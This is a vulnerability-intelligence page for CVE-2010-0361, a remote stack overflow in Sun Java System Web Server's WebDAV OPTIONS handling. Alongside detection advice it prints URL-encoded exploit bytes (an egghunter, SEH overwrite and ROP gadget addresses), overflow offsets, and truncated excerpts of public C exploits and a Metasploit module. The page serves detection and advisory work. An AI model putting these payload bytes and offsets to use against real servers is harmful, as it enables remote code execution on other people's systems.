CVE-2010-0361
published 2010-01-20CVE-2010-0361: Stack-based buffer overflow in the WebDAV implementation in webservd in Sun Java System Web Server (aka SJWS) 7.0 Update 7 allows remote attackers to cause a…
PriorityP266critical10CVSS 2.0
AVNACLAuNCCICAC
EXPLOIT
EPSS
80.39%
99.6th percentile
Stack-based buffer overflow in the WebDAV implementation in webservd in Sun Java System Web Server (aka SJWS) 7.0 Update 7 allows remote attackers to cause a denial of service (daemon crash) and possibly have unspecified other impact via a long URI in an HTTP OPTIONS request.
Affected
1 ranges
| Vendor | Product | Version range | Fixed in |
|---|---|---|---|
| sun | java_system_web_server | — | — |
Detection & IOCsextracted from sources · hover to see the quote
bytes↗
%66%81%CA%FF%0F%42%52%6A%02%58%CD%2E%3C%05%5A%74%EF%B8%77%30%30%74%8B%FA%AF%75%EA%AF%75%E7%FF%E7
bytes↗
%77%30%30%74%77%30%30%74
bytes↗
%90%80%02%10
bytes↗
%F2%C2%02%10%FF%FF%FF%FF%4C%C1%02%10%E8%45%0D%10%A4%22%86%7C%9D%31%08%10%BF%13%01%10%BA%13%01%10%BF%13%01%10%0D%7C%0A%10
bytes↗
%ee%7b%01%12
bytes↗
%eb%10%90%90
- →Detect HTTP OPTIONS requests with an abnormally long URI (>760 bytes) targeting a WebDAV-enabled directory, characteristic of CVE-2010-0361 exploitation. ↗
- →Detect the egghunter tag 'w00tw00t' (URL-encoded as %77%30%30%74%77%30%30%74) in HTTP request URIs or bodies, used by both exploit variants to locate shellcode in memory. ↗
- →Detect the egghunter byte sequence (URL-encoded: %66%81%CA%FF%0F%42%52%6A%02%58%CD%2E%3C%05%5A%74%EF%B8%77%30%30%74%8B%FA%AF%75%EA%AF%75%E7%FF%E7) in HTTP OPTIONS request URIs. ↗
- →The exploit sends multiple preliminary GET requests to fill memory with shellcode before sending the final OPTIONS overflow buffer; detect a pattern of repeated GET requests followed by a long OPTIONS request from the same source IP. ↗
- →The Metasploit module places the payload in both the Referrer and User-Agent headers of the OPTIONS request; inspect these headers for encoded shellcode (AlphanumMixed encoding with ECX as BufferRegister). ↗
- →The SEH overwrite occurs at offset 760 (768 in v2 exploit) within the OPTIONS URI; monitor for OPTIONS requests to webservd (Sun Java System Web Server) with URI lengths in the 760–800 byte range. ↗
- →The ROP chain references ns-httpd40.dll gadgets and targets SetProcessDEPPolicy (0x7C8622A4) for DEP bypass; presence of these addresses in network traffic indicates the DEP-bypass variant of the exploit. ↗
- ·The exploit requires WebDAV to be enabled on the target directory; the vulnerability is only reachable if the attacker specifies a path to a WebDAV-enabled collection. ↗
- ·The SEH-based exploit (Metasploit) uses a pop/pop/ret gadget in xerces-C_2_6.dll (0x12012177); the ROP-based DEP-bypass exploit uses gadgets from ns-httpd40.dll — module ASLR status affects reliability. ↗
- ·The DEP-bypass exploit (v2) was tested on Windows XP SP3 with and without DEP; the original exploit (v1) was tested on Windows XP SP3 without DEP only. Other platforms (Linux, Solaris) are noted as vulnerable but no working ROP chains are provided. ↗
CVEs like this are exactly what “Exploited This Week” covers.
Every Monday: what got weaponized or added to CISA KEV in the last seven days — each CVE cross-linked to its PoC, Nuclei template, and detection rule. Free, one email a week, unsubscribe in one click.
No detection rules found.
Exploit-DB
Sun Java Web Server - System WebDAV OPTIONS Buffer Overflow (Metasploit)
exploitdb·2010-08-07
CVE-2010-0361 Sun Java Web Server - System WebDAV OPTIONS Buffer Overflow (Metasploit)
Sun Java Web Server - System WebDAV OPTIONS Buffer Overflow (Metasploit)
---
##
# $Id: sun_jsws_dav_options.rb 9971 2010-08-07 06:59:16Z jduck $
##
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
require 'msf/core'
require 'msf/core/exploit/http/client'
class Metasploit3 'Sun Java System Web Server WebDAV OPTIONS Buffer Overflow',
'Description' => %q{
This module exploits a buffer overflow in Sun Java Web Server prior to
version 7 Update 8. By sending an "OPTIONS" request with an overly long
path, attackers can execute arbitrary code. In order to reach the vulnerable
code, the att
Exploit-DB
Sun Java Web Server 7.0 u7 - Remote Overflow (DEP Bypass)
exploitdb·2010-07-09·CVSS 10.0
CVE-2010-0361 [CRITICAL] Sun Java Web Server 7.0 u7 - Remote Overflow (DEP Bypass)
Sun Java Web Server 7.0 u7 - Remote Overflow (DEP Bypass)
---
# Exploit Title: [SJWSexv2]
# Date: [09/07/2010]
# Author: [dmc]
# Software Link: [download link if available]
# Version: [7.0 u7]
# Tested on: [Windows XP SP3 - with and without DEP]
# CVE : [CVE-2010-0361]
/* Sun Java Web Server Exploit v2
*
* Tested on:
* Sun Java Web Server 7.0 update 7 - XP SP3
* Ref: CVE-2010-0361
*
* This exploit is capable of bypassing DEP.
* In order to do this it uses ROP to invoke
* SetProcessDEPPolicy().
*
* Author: Dominic Chell
* Date: 08/07/2010
*/
#include "stdafx.h"
#include
#include
#include
#include
#include "winsock2.h"
#pragma comment(lib, "ws2_32")
#define usage(){(void)fprintf(stderr, "SJWSexv2 vs Sun Java Web Server 7.0 u7\n(C) dmc \n\nUsage: sjwsex.exe [ip] [port] [directory]\nExam
Exploit-DB
Sun Java Web Server 7.0 u7 - Remote Overflow
exploitdb·2010-07-03·CVSS 10.0
CVE-2010-0361 [CRITICAL] Sun Java Web Server 7.0 u7 - Remote Overflow
Sun Java Web Server 7.0 u7 - Remote Overflow
---
/* Sun Java Web Server Exploit
* Tested on:
* Sun Java Web Server 7.0 update 7 - XP SP3
* Ref: CVE-2010-0361
* This vulnerability was identified by Evgeny Legerov
*
* Author: Dominic Chell
* Date: 23/01/2010
*/
#include "stdafx.h"
#include
#include
#include
#include
#include "winsock2.h"
#pragma comment(lib, "ws2_32")
#define usage(){ (void)fprintf(stderr, "SJWSex vs Sun Java Web Server 7.0 u7\n(C) dmc \n\nExample: sjwsex.exe [ip] [port] [directory]\n");}
#define error(e){ (void)fprintf(stderr,"%s\n",e); return -1;}
// encoding the payloads in URL hex prevents it getting converted to unicode
char seh[] = "%ee%7b%01%12"; // 0x12017bee
char nextseh[] ="%eb%10%90%90"; // jmp
char *nop = "%90"; // nop
char egghunter[] = "%66%81%CA%FF%0F%42
Metasploit
Sun Java System Web Server WebDAV OPTIONS Buffer Overflow
metasploit
Sun Java System Web Server WebDAV OPTIONS Buffer Overflow
Sun Java System Web Server WebDAV OPTIONS Buffer Overflow
This module exploits a buffer overflow in Sun Java Web Server prior to version 7 Update 8. By sending an "OPTIONS" request with an overly long path, attackers can execute arbitrary code. In order to reach the vulnerable code, the attacker must also specify the path to a directory with WebDAV enabled. This exploit was tested and confirmed to work on Windows XP SP3 without DEP. Versions for other platforms are vulnerable as well. The vulnerability was originally discovered and disclosed by Evgeny Legerov of Intevydis.
No writeups or analysis indexed.
2010-01-20
Published